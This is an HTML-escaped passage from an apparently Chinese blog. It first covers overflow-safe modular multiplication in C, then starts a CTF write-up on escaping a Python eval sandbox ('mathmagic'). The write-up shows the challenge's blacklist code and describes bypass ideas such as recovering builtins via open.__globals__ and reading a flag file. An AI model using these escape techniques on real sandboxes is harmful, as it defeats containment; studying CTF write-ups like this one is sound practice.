&lt;span&gt;&lt;span&gt;(263−1)⋅(263−1)(2^{63}-1)\cdot(2^{63}-1)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 这种情况，导致在计算的时候溢出。对于这个问题，笔者进行了一番查询，发现了两条常见的解决方案。&lt;/p&gt;&lt;p&gt;法一是在中间计算的时候，将其中一个变量显式类型转化为 &lt;code&gt;__int128&lt;/code&gt; ，其可表示的最大值高达 &lt;span&gt;&lt;span&gt;2127−12^{127}-1&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;127&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，对于我们这个情况 &lt;span&gt;&lt;span&gt;(263−1)⋅(263−1)&amp;lt;2126&amp;lt;2127−1(2^{63}-1)\cdot(2^{63}-1)&amp;lt;2^{126}&amp;lt;2^{127}-1&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;126&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;127&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，很显然是足够了。但是如果看到标题便会知晓，这种方法肯定是有限制的，具体来说：&lt;code&gt;__int128&lt;/code&gt; 是 GCC/Clang 的编译器扩展，通常在 64 位目标平台上可用；它不是标准 C/C++，MSVC 不支持，而且甚至没有标准的输入输出（虽然这个跟本题无关），这个限制导致了笔者的 devc++ 并不能在正常配置的情况下使用它。于是，便有了法二 —— 龟速乘。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;龟速乘&lt;a href=&quot;#龟速乘&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;所谓龟速乘与快速幂的思想极其相像，区别是前者是加，后者是乘。可以理解为乘法分配律 + 二进制拆分转换：&lt;/p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;a×b mod m=∑i(a⋅2i) mod m     (当 b 的第 i 位为 1)a×b\bmod m=\sum_{i}{(a⋅2^i)\bmod m}\ \ \ \ \ (\text{当 } b \text{ 的第 } i \text{ 位为 } 1)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;∑&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;当&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;的第&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;位为&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;stimes&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;){&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ULL res&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;(b){&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(b&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)  res&lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt;a,res&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;gt;=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;*=&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;,a&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; res;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;这样子我们就可以处理掉棘手的极端情况了，最终整合起所有的代码我们便可以得到这道题的最终解：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#define&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ULL&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;unsigned&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;long&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;long&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;stimes&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;){&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;// 龟速乘&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ULL res&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;(b){&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(b&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)  res&lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt;a,res&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;gt;=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;*=&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;,a&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; res;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;qpow&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;ULL &lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;){&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;// 快速幂&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ULL res&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;(b){&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(b&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)  res&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;stimes&lt;/span&gt;&lt;span&gt;(res,a,m);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; 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&lt;section&gt;&lt;h2&gt;Python 沙箱逃逸&lt;a href=&quot;#python-沙箱逃逸&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;mathmagic&lt;a href=&quot;#mathmagic&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;随机的jail，能随机的关住人吗？&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; time&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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           &lt;/span&gt;&lt;/span&gt;&lt;span&gt;message &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Give me your code: &apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;ascii&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;decode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;ascii&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;any&lt;/span&gt;&lt;span&gt;(b &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; blacklist &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; b &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; message):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;raise&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;RuntimeError&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;Can&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;t input any characters in blacklist&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;eval&lt;/span&gt;&lt;span&gt;(message,safe_globals)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Exception&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; e:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;(e).&lt;/span&gt;&lt;span&gt;__name__&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; : &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;首先是置空 &lt;code&gt;__builtins__&lt;/code&gt; ，这意味着几乎所有的内置函数都无法直接使用，注意到其还保留了一个缺口 &lt;code&gt;open&lt;/code&gt; ，如果只是这样的话只需要访问 &lt;code&gt;open.__globals__[&apos;__builtins__&apos;]&lt;/code&gt; 即可拿回正常环境中的内置模块。然而下面黑名单中展示了 &lt;code&gt;_&lt;/code&gt; ，则无法直接使用 &lt;code&gt;__builtins__&lt;/code&gt; 等类似的魔法属性，而屏蔽了 &lt;code&gt;\&lt;/code&gt; ，这使得无法通过 &lt;code&gt;\x5f&lt;/code&gt; 或者 &lt;code&gt;\137&lt;/code&gt; 转义动态生成 &lt;code&gt;_&lt;/code&gt; 来绕过黑名单。对于 &lt;code&gt;.&lt;/code&gt; 的屏蔽是防止直接使用 &lt;code&gt;open(&quot;/tmp/flag&quot;).read()&lt;/code&gt; ，因为这个显然不属于 CTF 考点。而 &lt;code&gt;.encode(&apos;ascii&apos;).decode(&apos;ascii&apos;)&lt;/code&gt; 是防止通过 &lt;strong&gt;Unicode 混淆攻击&lt;/strong&gt;来绕过屏蔽字符（见题目 &lt;em&gt;3z_ban_jail&lt;/em&gt; ）&lt;/p&gt;&lt;p&gt;缺口 &lt;code&gt;open&lt;/code&gt; 一定是本题关键，不然直接置空 &lt;code&gt;__builtins__&lt;/code&gt; 即可，有什么办法可以得到 &lt;code&gt;open&lt;/code&gt; 的返回呢？&lt;/p&gt;&lt;p&gt;&lt;code&gt;open&lt;/code&gt; 是一个可迭代对象，想要获取文件内容，除了使用 &lt;code&gt;read()&lt;/code&gt; 